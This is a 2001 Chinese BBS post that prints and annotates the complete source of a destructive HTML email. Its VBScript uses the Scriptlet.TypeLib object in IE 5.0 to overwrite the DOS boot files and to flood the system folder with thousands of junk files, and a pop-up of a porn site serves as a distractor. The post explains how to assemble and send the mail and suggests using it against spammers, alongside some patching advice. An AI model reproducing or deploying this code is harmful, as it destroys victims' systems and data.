computer 版 (精华区)

发信人: neverbw (今天,你Seek Qin了吗?), 信区: network
标  题: 细析恶意攻击邮件
发信站: 听涛站 (2001年11月16日18:41:40 星期五), 站内信件

近一段时间以来,邮件病毒几成泛滥之势,继“美丽莎”、“爱虫”和“欢乐时光”之
后,各种各样的变种病毒和改进病毒如雨后春笋般冒出来,令人目不暇接、防不胜防。
近日我在某个黑客站点乱逛时,发现了一款新的恶意攻击邮件源代码,连忙Down下来研
究,受益匪浅,不敢独享,拿出来与大家共同分析,共同提高警惕。
  这是一款用超文本编写的攻击邮件,并没有令人生疑的附件,但正文中内嵌有恶意
的Vbs,只要你一看信,你就中招了(有点类似于“欢乐时光”,不过比“欢乐时光”简
单得多,虽然没有传染性,但攻击力不小,不可轻视!大家可以试一试:将源代码的文
本文件内容拷到剪贴板中,然后打开Outlook Express,新建一封信,将菜单上的“查看
”——“编辑源文件”打上钩,然后选中出现的源文件Tab,将原内容清空,把病毒代码
粘贴过去即成。
  注意:一定要先将机器的时间改为17号(月份不限),否则一预览或保存邮件你的
机器就完蛋了!切记!!还有一种简单方法是将源代码存为.eml文件,导入OE或Foxmai
l都可。其源代码如下:
〈!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"〉
〈HTML〉〈HEAD〉
  注:在超文本的Head中加入以下代码,使受害者一看此信就打开色情网页,并且浏
览器大小为1280x1024的超大页面,目的就是使你正惊异于巨大的色情图片时,它在后台
实施破坏活动。
〈Script〉
window.open("http://www.playboy.com","","width=1280,height=1024")
〈/Script〉
〈META content="text/html; charset=gb2312" http-equiv=Content-Type〉
〈META content="MSHTML 5.00.2614.3500" name=GENERATOR〉
〈STYLE〉〈/STYLE〉
〈/HEAD〉
  注:以下为邮件正文
〈BODY bgColor=#c0c0c0〉
注:调用插入式Vbs。又是Visual Basic Script ,坏事好像少不了它——不信看看Nor
ton AntiVirus中的病毒库,Vbs病毒多得惊人!
〈SCRIPT language='vbscript'〉
On Error Resume Next
  注:上一句是Basic语言中的容错语句
dim name1,name2,name3,ext1,ext2,ext3,doc1,doc2,doc3,i
name1="Rundll"
name2="Winapi"
name3="Netapi"
ext1=".dll"
ext2=".vxd"
ext3=".drv"
doc3=""
doc2="Hahaaaaaaaaaaaaaaaa,Bingo!!!"
doc1="God damed!!! That's the joke to you,don't afraid,Baby! I am the king o
f the world,God bless you and your kin,you will believe forever that I am Un
realer!!!"
i=1
  注:定义了大量的变量和字符串
if day(now())〈〉17 then
  注:如果今天不是17号,病毒开始攻击你的机器——避开17号,估计是病毒作者为
了自己调试方便
Set Os = CreateObject(“Scriptlet.TypeLib”)
  注:创建自定义的TypeLib对象,这是此病毒中的精华之处,技术和“欢乐时光”一
摸一样!
Os.Reset
Os.Path = “c:\io.sys”
Os.Doc = doc1&doc2&doc3
Os.Write()
  注:以上先将TypeLib对象重置,再将TypeLib对象的路径指向C:\io.sys文件,再将
上面定义的字符串随意组合,以期生成不同大小的字符串,最后将字符串写入目标文件
——目标文件就成了一堆乱码,被彻底地破坏了!
Os.Reset
Set Os = CreateObject(“Scriptlet.TypeLib”)
Os.Reset
Os.Path = “c:\msdos.sys”
Os.Doc = doc1&doc2
Os.Write()
  注:如法炮制Msdos.sys
Os.Reset
Set Os = CreateObject(“Scriptlet.TypeLib”)
Os.Reset
Os.Path = “c:\command.com”
Os.Doc = doc2&doc1&doc2
Os.Write()
  注:将io.sys、msdos.sys和command.com一网打尽,使你的机器不能启动!
Os.Reset
path=“C:\Windows\System\”
If Err.Number = 0 Then
path=“C:\”
end if
err.clear
  注:再将路径指向C:\Windows\System\,如果此目录不存在,就指向C:\,已备生成
垃圾文件
while true
  注:死循环,你看网页或耽误的时间越多,生成的垃圾文件就越多!
Set Os = CreateObject(“Scriptlet.TypeLib”)
Os.Reset
if i〈=300 then
Os.Path = path&name1&i&ext1
Os.Doc = doc1&doc1&doc1&doc1&doc1&doc1&doc1
elseif i〈=600 then
Os.Path = path&name2&i&ext2
Os.Doc = doc1&doc1&doc3&doc3&doc3&doc3&doc3&doc3&doc3&doc3&doc3&doc3
elseif i〈=900 then
Os.Path = path&name3&i&ext3
Os.Doc = doc2
elseif i〈=1200 then
Os.Path = path&name1&i&ext2
Os.Doc = doc2&doc1&doc3
elseif i〈=1500 then
Os.Path = path&name1&i&ext3
Os.Doc = doc3&doc3&doc1&doc1&doc1&doc1&doc1&doc1&doc1&doc1&doc1&doc1&doc1&
doc1&doc3&doc3&doc3
elseif i〈=1800 then
Os.Path = path&name2&i&ext1
Os.Doc = doc1&doc2&doc3
elseif i〈=2100 then
Os.Path = path&name2&i&ext3
Os.Doc = doc2&doc1&doc3&doc2&doc3&doc2&doc3&doc2&doc3&doc2&doc3&doc2&
doc3&doc2&doc3
elseif i〈=2400 then
Os.Path = path&name3&i&ext2
Os.Doc = ""
else
Os.Path = path&name3&i&ext1
Os.Doc = doc3
end if
  注:根据文件的生产数量来随机组合字符串的大小与文件名,以便生成大小不同且
文件名比较敏感的垃圾文件
Os.Write()
Os.Reset
i=i+1
  注:写入文件并重置TypeLib对象,计数器加一
wend
end if
〈/SCRIPT〉
〈/BODY〉〈/HTML〉
  从上面的代码可以看出此邮件病毒的关键在于使用了TypeLib对象技术,这其实是利
用了Internet Explorer 5.0的一个漏洞——就算是你把“安全”中的安全级别调到最高
,运用TypeLib对象依然可以在当前机器上随意进行写操作!这估计是微软安全方面的一
个疏忽,FileSystemObject(文件系统对象)在浏览器中使用会有安全提示,在Outloo
k Express中编写超文本邮件也会有“无法使用ActiveX创建FileSystemObject对象”的
错误提示,而TypeLib对象是少数漏网之鱼中的的一个,可以在Intetnet Explorer 和O
utlook Express中随意使用而没有任何提示或警告!
  中招时,先出现一个巨大的浏览器窗口,超出了屏幕,好不容易关掉它,发现Outl
ook Express呈无响应状态,同时硬盘狂转不止,想用三键关掉它却无响应,只好用进程
管理器杀掉了它。目标目录一下出现了两千多个垃圾文件,而且都是什么Rundll,Winap
i,dll,drv,vxd之类的敏感文件——要是在WIndows\System目录下,真不知该删哪个文件
!再用UltraEdit一查看启动文件,都已面目全非了——幸好试验前做了备份。
  令人奇怪的是,在我的机器上此邮件可以生效,但在我朋友的机器上却无效。经我
们反复研究,发现奥妙在IE和OE的版本上,我的IE的版本号是5.00.2614.3500,OE的版
本号是5,00,2615,200,即我的IE是Win98 SE上自带的,没有升级;而朋友的IE是后来升
级的IE 5.5,看来微软后来也认识到了这个漏洞,并在在IE 5.5中解决了,而我认为5.
0和5.5没什么区别,就懒得去安装那庞大的IE 5.5,结果现在倒是认识到了浏览器升级
的作用。建议大家都升级到IE 5.5吧——你不想你的机器不能启动或被垃圾文件灌爆吧
?!并且尽量用Foxmail 4收邮件——你不用HTML方式浏览邮件就不会中招。如果可能,
你最好将根目录下的三个启动文件的属性改为只读属性,这样就不会被改写。
后来我查了一下微软的Windows Script Components帮助文件发现了关于TypeLib对象的
资料,详细例子如下:
Note: A CDATA section is required to make the script in the 〈script〉 eleme
nt opaque. For details, see Script Component Files and XML Conformance.
〈registration
description="My Test Component"
progid="Component.TestScript"
version="1"
classid="{2154c700-9253-11d1-a3ac-0aa0044eb5f}"〉
〈script language="VBScript"〉
〈![CDATA[
Function Register()
Set oTL = CreateObject("Scriptlet.GenerateTypeLib")
oTL.AddURL "d:\components\MyComponent.wsc" ' Script component URL.
oTL.AddURL "d:\components\YourComponent.wsc"
oTL.Path = "d:\components\MyComponent.tlb" ' .tlb path.
oTL.Doc = "Sample component typelib" ' Documentation string.
oTL.GUID = "{a1e1e3e0-a252-11d1-9fa1-00a0c90fffc0}"
oTL.Name = "MyComponentTLib" ' Internal name for tlb.
oTL.MajorVersion = 1
oTL.MinorVersion = 0
oTL.Write ' Write tlib to disk.
oTL.Reset ' Clear list of URLs in AddURL/.
End Function
]]〉
〈/script〉
〈/registration〉
  估计作者就是仿造以上的例子而编写的此邮件,这个微软真是害人不浅!不过换个
角度想,摆弄这个攻击邮件也不一定都是坏事——我就用它来报复Spammer(垃圾邮件制
造者),这种人的确可恨!当然大家不要用来攻击无辜的朋友,毕竟令人生厌的家伙只
占网民的极少数呵。现在大多数机器的IE还是5.0版,都懒得升级,大家还是好自为之吧


--
         当爱情不再完美
         我宁愿选择无悔
        不管来生多么美丽
    我无法失去今生对你的记忆!

※ 来源:·听涛站 tingtao.dhs.org·[FROM: 匿名天使的家] 
[百宝箱] [返回首页] [上级目录] [根目录] [返回顶部] [刷新] [返回]
Powered by KBS BBS 2.0 (http://dev.kcn.cn)
页面执行时间:1.490毫秒